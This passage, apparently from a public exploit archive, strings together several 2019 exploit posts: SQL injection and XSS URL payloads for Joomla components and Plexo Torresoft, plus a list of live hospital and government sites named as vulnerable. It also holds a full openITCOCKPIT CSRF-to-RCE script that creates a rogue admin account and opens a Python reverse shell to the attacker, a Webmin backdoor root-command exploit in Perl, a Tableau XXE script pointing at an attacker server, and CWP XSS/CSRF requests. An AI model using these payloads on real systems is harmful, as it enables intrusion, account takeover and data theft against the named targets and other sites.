to a vulnerable web application, which is then reflected back to the victim and executed by 
the web browser. The most common mechanism for delivering malicious content is to include
 it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs 
constructed in this manner constitute the core of many phishing schemes, whereby an attacker 
convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the 
attacker's content back to the victim,the content is executed by the victim's browser.

###################################################################

Admin Panel Login Path :
***********************
/administrator/

# SQL Injection Exploit :
**********************
/index.php?option=com_orgchart&task=img&cat=[SQL Injection]

/index.php?option=com_orgchart&task=img&cat=[ID-NUMBER]&set=[ID-NUMBER]&c=[SQL Injection]

/index.php?option=com_orgchart&task=img&cat=[ID-NUMBER]&set=[ID-NUMBER]&c=[SQL Injection]&lang=it

# Cross Site Scripting XSS Exploit :
********************************
/index.php?option=com_orgchart&task=img&cat=1%27<marquee>
<font%20color=lime%20size=32>XSS-Vulnerability-Found-By-KingSkrupellos</font></marquee>

###################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

###################################################################

###################################################################

# Exploit Title : Joomla 1.5.26 Com_EstateAgent Components 3.x SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 24/08/2019
# Vendor Homepage : joomla.org - eaimproved.eu
# Software Download Link : extensions.joomla.org/extension/estate-agent-improved/
# Affected Joomla Version : Joomla 1.0.12 - 1.0.15 - 1.5.18 - 1.5.26
# Software Affected Version : Com_EstateAgent 3.x - 3.7
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of 
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

###################################################################

# Impact :
***********
Joomla 1.5.26 Com_EstateAgent Components 3.x is prone to an SQL-injection vulnerability 
because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. 
Exploiting this issue could allow an attacker to compromise the application, access or 
modify data, or exploit latent vulnerabilities in the underlying database. 
A remote attacker can send a specially crafted request to the vulnerable application and 
execute arbitrary SQL commands in application`s database. Further exploitation of this 
vulnerability may result in unauthorized data manipulation. 
An attacker can exploit this issue using a browser or with any SQL Injector Tool.

###################################################################

# Admin Panel Login Path :
*************************
/administrator

# SQL Injection Exploit :
**********************
/index.php?option=com_estateagent&act=object&task=showEO&id=[SQL Injection]

/index.php?option=com_estateagent&Itemid=[ID-NUMBER]&act=object&task=showEO&id=[SQL Injection]

/index.php?option=com_estateagent&Itemid=[ID-NUMBER]&act=object&task=showEO&id=[SQL Injection]&lang=english

/index.php?option=com_estateagent&act=showCE&id=[ID-NUMBER]&Itemid=[SQL Injection]&limitstart=[SQL Injection]

/index.php?option=com_estateagent&act=showCE&id=[ID-NUMBER]&Itemid=[ID-NUMBER]&limitstart=[SQL Injection]

/index.php?option=com_estateagent&act=showEASR&Itemid=[SQL Injection]&lang=el&font-size=larger

###################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

###################################################################

# Exploit Title: openITCOCKPIT 3.6.1-2 - CSRF 2 RCE
# Google Dork: N/A
# Date: 26-08-2019
# Exploit Author: Julian Rittweger
# Vendor Homepage: https://openitcockpit.io/
# Software Link: https://github.com/it-novum/openITCOCKPIT/releases/tag/openITCOCKPIT-3.6.1-2
# Fixed in: 3.7.1 | https://github.com/it-novum/openITCOCKPIT/releases
# Version: 3.6.1-2
# Tested on: Debian 9
# CVE : 2019-10227
# Exploit Requirements: pip3 install bs4 requests && apt install netcat

#!/usr/bin/env python
import requests, urllib3, os
import http.server, socketserver

from bs4 import BeautifulSoup as bs
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

print("""
--                                                                                        
  openITCOCKPIT v.3.6.1-2
  [CSRF 2 RCE]
--
""")

# Setup values
RHOST = input('[x] Enter IP of remote machine: ')
LHOST = input('[x] Enter IP of local  machine: ')
RPORT = int(input('[x] Enter local port (back-connection): '))
LPORT = int(input('[x] Enter local port (payload-hosting): '))

print('[-] Generating CSRF form using the following credentials: "hacked@oicp.app - letmein1337" ..')

# Generate file which serves CSRF payload
pl = open('./index.html', 'w')
# Register HTTP server
handler = http.server.SimpleHTTPRequestHandler

csrf = """
<iframe style="display:none;" name="csrff"></iframe>
<form method="post" action="https://""" + RHOST + """/users/add" target="csrff" style="display:none;">
<input type="text" name="_method" value="POST">
<input type="text" name="data[User][Container][]" value="1">
<input type="text" name="data[ContainerUserMembership][1]" value="2">
<input type="text" name="data[User][usergroup_id]" value="1">
<input type="text" name="data[User][status]" value="1">
<input type="text" name="data[User][email]" value="hacked@oicp.app">
<input type="text" name="data[User][firstname]" value="Mr">
<input type="text" name="data[User][lastname]" value="Nice">
<input type="text" name="data[User][new_password]" value="letmein1337">
<input type="text" name="data[User][confirm_new_password]" value="letmein1337">
<input type="submit">
</form>
<script>
  function Redirect() {  
        window.location="https://""" + RHOST + """/login/logout"; 
    } 

  document.forms[0].submit();
    setTimeout('Redirect()', 3000);   
</script>
"""

pl.write(csrf)
pl.close()
httpd = socketserver.TCPServer(("", LPORT), handler)

# Start HTTP server, quit on keyboard interrupt
try:
  print('[!] Serving payload at port : ' + str(LPORT) + ', press STRG+C if you registered requests!')
  print('[!] Send this URL to a logged-in administrator: http://' + LHOST + ':' + str(LPORT))
  httpd.serve_forever()
except KeyboardInterrupt:
  httpd.socket.close()
  print('\n[-] Starting exploitation ..')

print('[-] Logging in ..')
# Proceed login with generated credentials
c = requests.post('https://' + RHOST + '/login/login', data={'_method' : 'POST', 'data[LoginUser][username]' : 'hacked@oicp.app', 'data[LoginUser][password]' : 'letmein1337'}, verify=False, allow_redirects=False).headers['Set-Cookie']
print('[!] Received cookie: ' + c.split(';')[0])
print('[-] Creating reverse-shell as macro ..')
# Insert a new macro identified as $USER99$ 
makro = {'_method' : 'POST', 'data[0][Macro][id]' : 1, 'data[0][Macro][name]' : '$USER1$', 'data[0][Macro][value]' : '/opt/openitc/nagios/libexec', 'data[0][Macro][description]' : 'default', 'data[0][Macro][password]' : 0, 'data[1][Macro][id]' : 2, 'data[1][Macro][name]' : '$USER99$', 'data[1][Macro][value]' : "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + LHOST + "\"," + str(RPORT) + "));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", 'data[1][Macro][password]' : 1}
requests.post('https://' + RHOST + '/macros', data=makro, verify=False, cookies={'itnovum' : c.split(';')[0].split('=')[1]})
print('[-] Inserting macro as command ..')
# Register a new command using the inserted macro
requests.post('https://' + RHOST + '/commands/add/_controller:commands/_action:hostchecks', data={'_method' : 'POST', 'data[Command][command_type]' : 2, 'data[Command][name]' : 'pwned', 'data[Command][command_line]' : '$USER99$'}, verify=False, cookies={'itnovum' : c.split(';')[0].split('=')[1]})
h = bs(requests.get('https://' + RHOST + '/commands/hostchecks', verify=False, cookies={'itnovum' : c.split(';')[0].split('=')[1]}).text, 'html.parser')
ids = []

# Fetch current commands by ID
for i in h.find_all('form', {'action': lambda x : x.startswith('/commands/delete')}):
  ids.append(i.get('action').split('/')[-1])

print('[!] ID of command identified as: ' + str(ids[-1]))
print('[-] Updating default host ..')

# Update host, using the new malicious "hostcheck" command
sett = {'_method':'POST','data[Host][id]':'1','data[Host][container_id]':'1','data[Host][shared_container]':'','data[Host][hosttemplate_id]':'1','data[Host][name]':'localhost','data[Host][description]':'default+host','data[Host][address]':'127.0.0.1','data[Host][Hostgroup]':'','data[Host][Parenthost]':'','data[Host][notes]':'','data[Host][host_url]':'','data[Host][priority]':'1','data[Host][tags]':'','data[Host][notify_period_id]':'1','data[Host][notification_interval]':'0','data[Host][notification_interval]':'0','data[Host][notify_on_recovery]':'0','data[Host][notify_on_recovery]':'1','data[Host][notify_on_down]':'0','data[Host][notify_on_unreachable]':'0','data[Host][notify_on_unreachable]':'1','data[Host][notify_on_flapping]':'0','data[Host][notify_on_downtime]':'0','data[Host][active_checks_enabled]':'0','data[Host][active_checks_enabled]':'1','data[Host][Contact]':'','data[Host][Contact][]':'1','data[Host][Contactgroup]':'','data[Host][command_id]':ids[-1],'data[Host][check_period_id]':'1','data[Host][max_check_attempts]':'3','data[Host][check_interval]':'120','data[Host][check_interval]':'120','data[Host][retry_interval]':'120','data[Host][retry_interval]':'120','data[Host][flap_detection_enabled]':'0','data[Host][flap_detection_on_up]':'0','data[Host][flap_detection_on_down]':'0', 'data[Host][flap_detection_on_unreachable]' : 0}
requests.post('https://' + RHOST + '/hosts/edit/1/_controller:hosts/_action:browser/_id:1/', data=sett, verify=False, cookies={'itnovum' : c.split(';')[0].split('=')[1]})

# Refresh host configuration
print('[-] Refreshing host configuration ..')
requests.get('https://' + RHOST + '/exports/launchExport/0.json', verify=False, cookies={'itnovum' : c.split(';')[0].split('=')[1]}, headers={'X-Requested-With' : 'XMLHttpRequest'})

print('[!] Done! Enjoy your shell (popup in approx. 30s): ')

# We did it!
os.system('nc -lvp ' + str(RPORT))

###################################################################

# Exploit Title : Plexo Torresoft Alex Torres Software 2.0 XSS SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 26/08/2019
# Vendor Homepage : torresoft.co
# Software Version : 2.0 
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : intext:Powered By Plexo Torresoft Alex Torres Software site:gov.co
# Vulnerability Type : CWE-89 [ Improper Neutralization of 
Special Elements used in an SQL Command ('SQL Injection') ]
CWE-79 [ Improper Neutralization of Input During 
Web Page Generation ('Cross-site Scripting') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

###################################################################

# Impact :
***********
Plexo Torresoft Alex Torres Software is prone to an SQL-injection 
vulnerability because it fails to sufficiently sanitize user-supplied data before using 
it in an SQL query. Exploiting this issue could allow an attacker to compromise the 
application, access or modify data, or exploit latent vulnerabilities in the underlying database. 
A remote attacker can send a specially crafted request to the vulnerable application and 
execute arbitrary SQL commands in application`s database. Further exploitation of this 
vulnerability may result in unauthorized data manipulation. 
An attacker can exploit this issue using a browser or with any SQL Injector Tool.

Reflected XSS (or Non-Persistent) :
***************************************
The server reads data directly from the HTTP request and reflects it back in the HTTP response. 
Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content 
to a vulnerable web application, which is then reflected back to the victim and executed by 
the web browser. The most common mechanism for delivering malicious content is to
 include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. 
URLs constructed in this manner constitute the core of many phishing schemes, whereby an 
attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects 
the attacker's content back to the victim, the content is executed by the victim's browser.

###################################################################

# SQL Injection Exploit :
**********************
/index.php?module=[SQL Injection]

# Cross Site Scripting XSS Exploit :
********************************
/index.php?module=1%27%3Cmarquee%3E%3Cfont%20color=
lime%20size=32%3EXSS-Vulnerability-Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E

###################################################################

# Example Vulnerable Sites :
*************************
[+] clinilab.biz/index.php?module=1%27%3Cmarquee%3E%3Cfont%20color=
lime%20size=32%3EXSS-Vulnerability-Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] metrolabcolombia.com/index.php?module=1%27%3Cmarquee%3E%3Cfont%20color=
lime%20size=32%3EXSS-Vulnerability-Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] hospitalquinchia.gov.co/index.php?module=1%27%3Cmarquee%3E%3Cfont%20color=
lime%20size=32%3EXSS-Vulnerability-Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] hsjbelen.gov.co/index.php?module=1%27%3Cmarquee%3E%3Cfont%20color=
lime%20size=32%3EXSS-Vulnerability-Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] hospitalansermanuevo.gov.co/index.php?module=1%27%3Cmarquee%3E%3Cfont%20color=
lime%20size=32%3EXSS-Vulnerability-Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] hospitalsanjosemarsella.gov.co/index.php?module=1%27%3Cmarquee%3E%3Cfont%20color=
lime%20size=32%3EXSS-Vulnerability-Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] hsvpsantuario.gov.co/index.php?module=1%27%3Cmarquee%3E%3Cfont%20color=
lime%20size=32%3EXSS-Vulnerability-Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] hospitalapia.gov.co/index.php?module=1%27%3Cmarquee%3E%3Cfont%20color=
lime%20size=32%3EXSS-Vulnerability-Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] hospitalapiarisaralda.gov.co/index.php?module=1%27%3Cmarquee%3E%3Cfont%20color=
lime%20size=32%3EXSS-Vulnerability-Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] emviasbelen.gov.co/index.php?module=1%27%3Cmarquee%3E%3Cfont%20color=
lime%20size=32%3EXSS-Vulnerability-Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E

###################################################################

# Example SQL Database Error :
****************************
A MySQL error has occurred.
Error: (1064) You have an error in your SQL syntax; check the manual that 
corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

###################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

###################################################################

# ====================================================================
# Information
# ====================================================================

Product     : CWP Control Web Panel
version     : 0.9.8.837
Fixed on    : 0.9.8.851
Test on     : CentOS 7.6.1810 (Core)
Reference   : https://control-webpanel.com/
CVE-Number  : 2019-13476


# ====================================================================
# Description
# ====================================================================
Cross Site Scripting (Stored) User add "New Mailbox" with payload XSS without validation 


# ====================================================================
# Steps to Reproduce
# ====================================================================
1. In user panel click at "Email Account" under the Email Accounts and click it again
2. Add a "New Mailbox"
3. Use BurpSuite for Intercept request then modified parameter "domain" to payloads XSS ('-confirm(document.cookie)-'@blahblah.com)
4. We can added email success the parameter "domain" without input validate
5. In the List of mailbox user it's not exist after add email with xss payload, but in the admin panel added success
6. In the panel admin Click Email --> Email Accounts we can see the xss payload
7. Click any the button such as Change Password, Suspend, Delete XSS payload will be Executed



POST /cwp_df6968dca257be58/test/test/index.php?module=email_accounts&acc=addemail HTTP/1.1
Host: 172.16.10.141:2083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
csrftoken: d6209a4f4bd1bf71b6987849c240bfa1
X-Requested-With: XMLHttpRequest
Content-Length: 48
Connection: close
Referer: https://172.16.10.141:2083/cwp_df6968dca257be58/test/?module=email_accounts
Cookie: cwpsrv-bcb237cdd1001e9602820eb23df41980=jemq3j57diag45omlam2ffkkl5; cwpsrv-User-bcb237cdd1001e9602820eb23df41980=d3m5mauq3rl87m4nnpsfdhhr66; CWP-User=%7B%22user%22%3A%22test%22%2C%22date%22%3A%2219-08-20+09%3A28%3A26%22%2C%22token%22%3A%224003752352ba866c06a4e32dbcc7b9df6471613b%22%2C%22tokenuser%22%3A%225c434cc8bd14b6b500dccaae8b35389e%3AhtBkFA%3D%3D%22%2C%22timer%22%3A%2237f00cb4e1f28dc383d3ac9364129600%22%2C%22pwd%22%3A%22s%2BsKQWei%5Cn%22%7D

email=test&domain='-confirm(document.cookie)-'@blahblah.com&pass=3937a279&quotamail=0


# ====================================================================
# PoC
# ====================================================================
https://github.com/i3umi3iei3ii/CentOS-Control-Web-Panel-CVE/blob/master/CVE-2019-13476.md


# ====================================================================
# Timeline
# ====================================================================
2019-06-05: Discovered the bug
2019-06-05: Reported to vendor
2019-06-05: Vender accepted the vulnerability
2019-07-17: The vulnerability has been fixed
2019-08-20: Published


# ====================================================================
# Discovered by
# ====================================================================
Pongtorn Angsuchotmetee
Nissana Sirijirakal
Narin Boonwasanarak

Cross-Site Request Forgery (CSRF)


# ====================================================================
# Information
# ====================================================================

Product     : CWP Control Web Panel
version     : 0.9.8.837
Fixed on    : 0.9.8.851
Test on     : CentOS 7.6.1810 (Core)
Reference   : https://control-webpanel.com/
CVE-Number  : 2019-13477


Original request

POST /cwp_4a1498ae31fc95e1b03f1a62d336b154/admin/loader_ajax.php?ajax=list_accounts HTTP/1.1
Host: 192.168.75.148:2087
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.75.148:2087/cwp_4a1498ae31fc95e1b03f1a62d336b154/admin/index.php?module=list_accounts
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 50
Connection: close
Cookie: cwpsrv-bad194011f5ad0cf609c77ad222e50d6=53tt3djbnhepcprdbtoc7uc4d2; _firstImpression=true

accion=changePass&pass=UEBzc3cwcmQ=&username=user1




Even the url has token value,but the token only check for pattern "cwp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
modify the end of the token value  

POST /cwp_99999999999999999999999999999999/admin/loader_ajax.php?ajax=list_accounts HTTP/1.1
Host: 192.168.75.148:2087
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.75.148:2087/cwp_4a1498ae31fc95e1b03f1a62d336b154/admin/index.php?module=list_accounts
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 50
Connection: close
Cookie: cwpsrv-bad194011f5ad0cf609c77ad222e50d6=53tt3djbnhepcprdbtoc7uc4d2; _firstImpression=true

accion=changePass&pass=UEBzc3cwcmQ=&username=user1



# ====================================================================
# PoC
# ====================================================================
https://github.com/i3umi3iei3ii/CentOS-Control-Web-Panel-CVE/blob/master/CVE-2019-13477.md


# ====================================================================
# Timeline
# ====================================================================
2019-06-05: Discovered the bug
2019-06-05: Reported to vendor
2019-06-05: Vender accepted the vulnerability
2019-07-17: The vulnerability has been fixed
2019-08-20: published


# ====================================================================
# Discovered by
# ====================================================================
Pongtorn Angsuchotmetee
Nissana Sirijirakal
Narin Boonwasanarak

Information
--------------------
Advisory by Netsparker
Name: Multiple CSRF Vulnerabilities in Django CRM 0.2.1
Affected Software: Django CRM
Affected Versions: 0.2.1
Homepage: https://github.com/MicroPyramid/Django-CRM
Vulnerability: Cross-site Request Forgery
Severity: 8.8 High
Status: Not Fixed
CVE-ID: CVE-2019-11457
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Netsparker Advisory Reference: NS-19-013

Technical Details
--------------------


   1. /change-password-by-admin/
   URL: http://{domain}/change-password-by-admin/
   Form Name: pasteform


   1. /api/settings/add/
   URL: http://{domain}/api/settings/add/
   Form Name: pasteform


   1. /cases/create/
   URL: http://{domain}/cases/create/
   Form Name: pasteform


   1. /change-password-by-admin/
   URL: http://{domain}/change-password-by-admin/
   Form Name: pasteform


   1. /comment/add/
   URL: http://{domain}/comment/add/
   Form Name: pasteform


   1. /documents/1/view/
   URL: http://{domain}/documents/1/view/
   Form Name: pasteform


   1. /documents/create/
   URL: http://{domain}/documents/create/
   Form Name: pasteform


   1. /opportunities/create/
   URL: http://{domain}/opportunities/create/
   Form Name: pasteform


   1. /login/
   URL: http://192.168.52.131:8000/login/


For more information:
https://www.netsparker.com/web-applications-advisories/ns-19-013-csrf-vulnerabilities-in-django-crm/

Regards,

Daniel Bishtawi
Marketing Administrator | Netsparker Web Application Security Scanner
Follow us on Twitter <https://twitter.com/netsparker> | LinkedIn
<https://www.linkedin.com/company/netsparker-ltd> | Facebook
<https://facebook.com/netsparker>
<https://www.netsparker.com/blog/events/exhibiting-global-appsec-dc-2019/>

#!/usr/bin/perl -w
#
#  Webmin 1.890 (based on 1.920 research) 'expired' Remote Root Exploit
#
#  Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#  Installation on CentOS:
#  rpm -ivh https://sourceforge.net/projects/webadmin/files/webmin/1.890/webmin-1.890-1.noarch.rpm/download
#
#  Disclaimer:
#  This or previous programs are for Educational purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages 
#  caused by direct or indirect use of the  information or functionality provided by these programs. 
#  The author or any Internet provider  bears NO responsibility for content or misuse of these programs 
#  or any derivatives thereof. By using these programs you accept the fact  that any damage (dataloss, 
#  system crash, system compromise, etc.) caused by the use  of these programs are not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
#
#  Tested on CentOS
#
#   Reproducing:
#   [root@localhost ~]# rpm -ivh https://sourceforge.net/projects/webadmin/files/webmin/1.890/webmin-1.890-1.noarch.rpm/download
#   ......
#   [root@localhost ~]# sed -i s/passwd_mode=0/passwd_mode=2/g /etc/webmin/miniserv.conf
#
#   Restart Webmin and test the exploit..
#
#   [test@localhost ~]$ perl webmin.pl localhost 10000 id
#   [ Webmin 1.890 (based on 1.920 research) 'expired' Remote Root Exploit
#   [ ====================================================================
#   [ First time released at Defcon. Thank you guys, for all..
#   [ Exploit by: Todor Donev <todor.donev@gmail.com>
#   [ ====================================================================
#   [ Usage: webmin.pl <host> <port> <command>
#   [ e.g. webmin.pl localhost 10000 "unset HISTFILE;uname -a;id;uptime"
#   [+] Target: localhost
#   [+] Server: MiniServ/1.890
#   uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:system_r:initrc_t:s0
#   [test@localhost ~]$ 
#
#
#    ATTENTION !! ATTENTION !! ATTENTION !! ATTENTION !! ATTENTION !! 
#
#  Guys, please give a star to https://github.com/otvorete/petition
#  to support the cause of the Bulgarian Hackers (Developers) Community.
#  We want to makes our Electronic Government more securе, transparent 
#  and reliable. For this reason we want from our government to open 
#  the source codes of the applications. So support us with a star, 
#  please..
#
#  Special thanks to Konstantin Spirov that starting the cause!!
#
#
#
#  Very smart but easy to found it:
#
#         Webmin 1.920 - Backdoor
#    o    [root@localhost ~]# find /usr/libexec/webmin -type f -name "*.cgi" -exec grep --color -H "qx/" {} \;
#         /usr/libexec/webmin/password_change.cgi:  $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
#
#         Webmin 1.890 - Backdoor
#    o    [root@localhost ~]# find /usr/libexec/webmin -type f -name "*.cgi" -exec grep --color -H "qx/" {} \;
#         /usr/libexec/webmin/password_change.cgi:$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
#
#    
#  This function (qx) is a alternative to using back-quotes to execute system commands. 
#  For example, qx(ls -l) will execute the UNIX ls command using the -l command-line
#  option. You can actually use any set of delimiters, not just the parentheses.
#  This function returns the value from the executed system command.
#
#
#   Webmin 1.890 Exploit - What Happened?
#
#   Webmin version 1.890 was released with a backdoor that could allow anyone with knowledge
#   of it to execute commands as root. Versions 1.900 to 1.920 also contained a backdoor using 
#   similar code, but it was not exploitable in a default Webmin install. Only if the admin had 
#   enabled the feature at Webmin -> Webmin Configuration -> Authentication to allow changing of 
#   expired passwords could it be used by an attacker.
#
#   Neither of these were accidental bugs - rather, the Webmin source code had been maliciously 
#   modified to add a non-obvious vulnerability. It appears that this happened as follows :
#
#   o   At some time in April 2018, the Webmin development build server was exploited and a 
#       vulnerability added to the password_change.cgi script. Because the timestamp on the 
#       file was set back, it did not show up in any Git diffs. This was included in the Webmin 
#       1.890 release.
#
#   o   The vulnerable file was reverted to the checked-in version from Github, but sometime 
#       in July 2018 the file was modified again by the attacker. However, this time the exploit 
#       was added to code that is only executed if changing of expired passwords is enabled. 
#       This was included in the Webmin 1.900 release.
#
#   o   On September 10th 2018, the vulnerable build server was decomissioned and replaced with 
#       a newly installed server running CentOS 7. However, the build directory containing the 
#       modified file was copied across from backups made on the original server.
#
#   o   On August 17th 2019, we were informed that a 0-day exploit that made use of the 
#       vulnerability had been released. In response, the exploit code was removed and Webmin 
#       version 1.930 created and released to all users.
#
#   In order to prevent similar attacks in future, we're doing the following :
#
#   o   Updating the build process to use only checked-in code from Github, rather than a local 
#       directory that is kept in sync.
#
#   o   Rotated all passwords and keys accessible from the old build system.
#
#   o   Auditing all Github checkins over the past year to look for commits that may have 
#       introduced similar vulnerabilities.
#
#
#
#   SOURCE: http://webmin.com/exploit.html
#
#  If the exploit not works, please install these packages from CPAN with this command:
#
#  cpan install HTTP::Request WWW:UserAgent::Random LWP::UserAgent
#
#
#  To Webmin developers:
#  Guys, I think it's will be better Webmin to log POST parameters by default.. ;)
#
#  
#

use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;

my $host = shift || 'localhost';
my $port = shift || '10000';
my $cmd = shift || 'uname -a;id;uptime';
$cmd =~ s/\|/\;/g;

print "[ Webmin 1.890 (based on 1.920 research) 'expired' Remote Root Exploit\n";
print "[ ====================================================================\n";
print "[ First time released at Defcon. Thank you guys, for all..\n";
print "[ Exploit by: Todor Donev <todor.donev\@gmail.com>\n";
print "[ ====================================================================\n";
print "[ Usage: $0 <host> <port> <command>\n";
print "[ e.g. $0 localhost 10000 \"unset HISTFILE;uname -a;id;uptime\"\n";
my $user_agent = rand_ua("browsers");
my $browser  = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
   $browser->timeout(60);
   $browser->agent($user_agent);
my $target = "https://".$host.":".$port."/password_change.cgi";
my $request = HTTP::Request->new (POST => $target,
                                  [ Content_Type => "application/x-www-form-urlencoded" ,
                                    Referer => "https://".$host.":".$port."/session_login.cgi" ],
"user=gotroot&pam=&expired=2|echo -n OWNED;$cmd;echo -n OWNED&old=gotroot&new1=gotroot&new2=gotroot");
$request->header("Cookie" => "redirect=1; testing=1; sid=x; sessiontest=1;");
my $content = $browser->request($request);
if ($content->as_string() =~ m/OWNED(.*?)OWNED/s){
        printf(STDOUT "[+] Target: %s\n[+] Server: %s\n%s", $host, $content->server() ,$1);
        exit;
} else {
  printf(STDOUT "[-] Not OWNED.. Exploit failed! :((\n");
  exit;
}

# Exploit Title: Tableau XXE 
# Google Dork: N/A
# Date: Reported to vendor July 2019, fix released August 2019.
# Exploit Author: Jarad Kopf
# Vendor Homepage: https://www.tableau.com/
# Software Link: Tableau Desktop downloads: https://www.tableau.com/products/desktop/download
# Version/Products: See Tableau Advisory: https://community.tableau.com/community/security-bulletins/blog/2019/08/22/important-adv-2019-030-xxe-vulnerability-in-tableau-products
# Tested on: Windows
# CVE: CVE-2019-15637

#This comes from https://community.tableau.com/community/security-bulletins/blog/2019/08/22/important-adv-2019-030-xxe-vulnerability-in-tableau-products
#Severity: High ======   CVSS3 Score: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L - 7.1 High ====== Product Specific Notes: Malicious workbooks, data sources, and extensions files that are published or used on Tableau Server can trigger this vulnerability
#see also https://github.com/minecrater/exploits/blob/master/TableauXXE.py

#Unfortunately as I did not have access to the source code a lot of this couldn't really be coded. 
#Lot of this seems to be user specific (zoneid, dashboard etc). Virtually just taking the vulnerable request and running the exploit. 
#Very bare bones...wish I could've done more, but maybe someone else with access to the source would want to do that as an exercise.

import requests
import sys 
from warnings import filterwarnings

# Globals
proxy = 'http://127.0.0.1:8080'
proxies = {'http':proxy, 'https':proxy}
filterwarnings('ignore')

def xxe(target, attackerserver, boundary, cookie, zoneid, dashboard):
  payload = """<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE root PUBLIC "-//A/B/EN""""
  payload += "\""+attackerserver+"\"><svg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"><text x=\"0\" y=\"20\" font-size=\"20\">test</text></svg>"
  headers = {'Content-Type': 'multipart/form-data; boundary='+boundary, 'Cookie': 'workgroup_session_id='+cookie}
  data = "--"+boundary+"\r\n"
  data += """Content-Disposition: form-data; name=\"zoneId\""""+"\r\n"
  data += "\r\n"
  #below will be different for each user - this is the zoneid of the dashboard you're exploiting this against
  data += zoneid+ "\r\n"
  data += "--"+boundary+"\r\n"
  data += """Content-Disposition: form-data; name=\"dashboard\""""+"\r\n"
  data += "\r\n"
  #below will be different for each user - the name of the dashboard we have access to which we're exploiting this against
  data += dashboard + "\r\n"
  data += "--"+boundary+"\r\n"
  data += """Content-Disposition: form-data; name=\"wasCanceled\""""+"\r\n"
  data += "\r\n"
  data += "false"
  data += "\r\n"
  data += "--"+boundary+"\r\n"
  data += """Content-Disposition: form-data; name=\"extensionManifestContents\""""+"\r\n"
  data += "\r\n"
  data += payload
  data += "\r\n"
  data += "--"+boundary+"--"

  r = requests.post(target, headers=headers, data=data, proxies=proxies, verify=False)

def main():
  if len(sys.argv) != 7:
    print "(+) usage: %s <target><attackerserver><boundary><workgroup_session_id_cookie><zoneid><dashboardname>"  % sys.argv[0]
    sys.exit(-1) 
   target = sys.argv[1]   
  attackerserver = sys.argv[2]
  boundary = sys.argv[3]
  cookie = sys.argv[4]
  zoneid = sys.argv[5]
  dashboard = sys.argv[6]
  xxe(target,attackerserver,boundary,cookie,zoneid,dashboard)
  print "making request, make sure to catch the HTTP request!"

if __name__ == "__main__":
  main()

#Exploit Title: Outlook Password Recovery v2.10 Denial of Service Exploit
# Date: 16.08.2019
# Vendor Homepage:https://www.top-password.com/
# Software Link: https://www.top-password.com/outlook-password-recovery.html
